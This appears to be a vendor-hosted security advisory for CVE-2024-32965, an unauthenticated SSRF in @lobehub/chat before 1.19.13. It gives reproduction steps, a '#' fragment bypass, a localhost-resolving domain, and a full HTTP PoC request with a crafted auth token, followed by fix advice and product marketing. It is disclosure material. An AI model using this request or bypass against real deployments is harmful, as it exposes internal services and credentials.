Summary
@lobehub/chat Server Side Request Forgery vulnerability
lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/
- click settings -> llm -> openai
- fill the OpenAI API Key you like
- fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
- then lobe will echo the ssrf result
The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.
PoC
POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}
Impact
SSRF, All users will be impacted.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2024-32965 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.19.13); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-32965? CVE-2024-32965 is a high-severity server-side request forgery (SSRF) vulnerability in @lobehub/chat (npm), affecting versions < 1.19.13. It is fixed in 1.19.13. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2024-32965? CVE-2024-32965 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @lobehub/chat are affected by CVE-2024-32965? @lobehub/chat (npm) versions < 1.19.13 is affected.
- Is there a fix for CVE-2024-32965? Yes. CVE-2024-32965 is fixed in 1.19.13. Upgrade to this version or later.
- Is CVE-2024-32965 exploitable, and should I be worried? Whether CVE-2024-32965 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-32965 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-32965? Upgrade
@lobehub/chatto 1.19.13 or later.